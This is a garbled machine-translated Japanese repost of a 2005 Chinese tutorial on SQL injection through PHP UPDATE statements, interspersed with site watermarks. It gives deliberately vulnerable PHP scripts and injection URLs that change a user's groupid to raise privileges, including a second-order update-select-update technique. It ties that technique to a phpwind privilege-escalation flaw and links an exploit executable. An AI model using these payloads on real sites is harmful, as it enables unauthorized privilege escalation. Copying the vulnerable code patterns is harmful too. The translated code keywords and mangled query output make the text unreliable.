この記事の著者:スーパーヘイ
記事の性質: オリジナルリリース日: 2005-08-14
1. テスト環境ネットワーク管理のダウンロード dl.bitscn.com
OS: Windowsxp sp2
php:php4.3.10
mysql 4.1.9
アパッチ1.3.33
2. データベース構造をテストします
--database: `test`
--
-------------------------------------------------- --------
--
-- テーブル構造 `userinfo`
--ネットワーク管理ネットワーク www_bitscn_com
CREATE TABLE `userinfo` (
`groudid` varchar(12) NOT NULL デフォルト '1'、
`user` varchar(12) NOT NULL デフォルト 'heige'、
`pass` varchar(122) NOT NULL デフォルト '123456'
) TYPE=MyISAM;ネットワークマネージャー u ホーム u.bitsCN.com
--
-- テーブル `userinfo` 内のデータをエクスポートします。
--
INSERT INTO `userinfo` VALUES ('2'、'heige'、'123456')
3. テストモード
1. 変数には '' または "" は含まれません。 bitsCN.com
<?php
//test1.php Mod1
$サーバー名 = "ローカルホスト";
$dbusername = "ルート";
$dbpassword = "";
$dbname = "テスト";
mysql_connect($servername,$dbusername,$dbpassword) または die ("データベース接続に失敗しました");中国ネットワーク管理フォーラム bbs.bitsCN.com
$sql = "update userinfo set pass=$p where user='heige'";/ / <--$P は一重引用符を使用しません
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);中国ネットワーク管理フォーラム bbs.bitsCN.com
echo "<p>SQL Query:$sql<p>";
?>
スクリプトは user='heige' のパスのみを変更します。groupid がユーザーの権限レベルを表す場合、$p を構築して groupid を変更することが目的です。
http://127.0.0.1/test1.php?p=123456,groudid=1
mysql でのクエリ:
mysql> select * from userinfo;
+--------+----------+----------+
| グループID |
+--------+----------+----------+
| 123456 |
+--------+----------+----------+
セット内の 1 行 (0.01 秒)
ユーザー heige の gridid が 2 から 1 に変更されました:)
したがって、'' または "" 更新を使用しない注入は成功することができます。これがモード 1 です。
2. '' または "" を含む変数
<?php
//test2.php
$サーバー名 = "ローカルホスト";
$dbusername = "ルート";
$dbpassword = "";
$dbname = "テスト";
mysql_connect($servername,$dbusername,$dbpassword) または die (「データベース接続に失敗しました」);
$sql = "update userinfo set pass='$p' where user='heige'";//<--$P は単一引用符を使用します 中国ネットワーク管理フォーラム bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql ) ;
$userinfo = mysql_fetch_array($result);ネットワーク管理フォーラム bbs_bitsCN_com
echo "<p>SQL クエリ:$sql<p>";
?>
「$p は 123456 である必要があります」を閉じるには、groudid='2Submit: China Network Management Forum bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = on の場合、「は」となり、提出されたステートメントは次のようになります。
SQL クエリ: ユーザー情報の更新セット pass='123456',groudid='1' where user='heige'
mysqlクエリ:
mysql> select * from userinfo;
+--------+----------+--------+
| グループID |
+--------+----------+--------+
| 2 | 123456',グループID='1 |
+--------+----------+--------+
セット内の 1 行 (0.00 秒) ネットワーク管理 bitscn_com
grudid は変更されていません。では、変数が '' または "" のときにまったく注入されない場合はどうなるでしょうか?代わりに、モード 2 を見てみましょう:
<?php
//test3.php Mod2
$サーバー名 = "ローカルホスト";
$dbusername = "ルート";
$dbpassword = "";
$dbname = "テスト";
mysql_connect($servername,$dbusername,$dbpassword) または die (「データベース接続に失敗しました」);
$sql = "update userinfo set pass='$p' where user='heige'";//<--$P は単一引用符を使用します network managerijiau.bitscn@com
$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); //$p のデータがデータベースに書き込まれます
$sql= "user='heige' の userinfo からパスを選択";
$result = mysql_db_query($dbname, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //パスクエリを $userinfo[0] に出力します
$sql ="update userinfo set pass='$userinfo[0]' where user='heige' ";
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); // $userinfo[0] を再度更新します bitsCN.com
?>
これをテストして送信してみましょう: ネットワーク管理 bitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
mysql クエリに戻ります: ネットワーク管理フォーラム bbs_bitsCN_com
mysql> select * from userinfo;
+--------+----------+----------+
| グループID |
+--------+----------+----------+
| 123456 |
+--------+----------+----------+
セット内の 1 行 (0.00 秒)
はぁ~~ grudid の注入と 1 への変更に成功しました。 これはモード 2 です。簡単な説明は次のとおりです:
更新 --> 選択 --> 更新
4. 実際のモード
モード 1: 欠落
モード 2: phpwind 2.0.2 および 3.31e の権限昇格の脆弱性
分析
update (profile.php インジェクション変数は $proicon、update ステートメントは icon='$userdb[icon]')
↓
(jop.php) を選択します
↓
updtate (jop.php) ネットワーク管理フォーラム bbs_bitsCN_com
エクスプロイト: http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. 謝辞
議論と協力をしてくれた Saiy などの友人に特に感謝します。ありがとう!!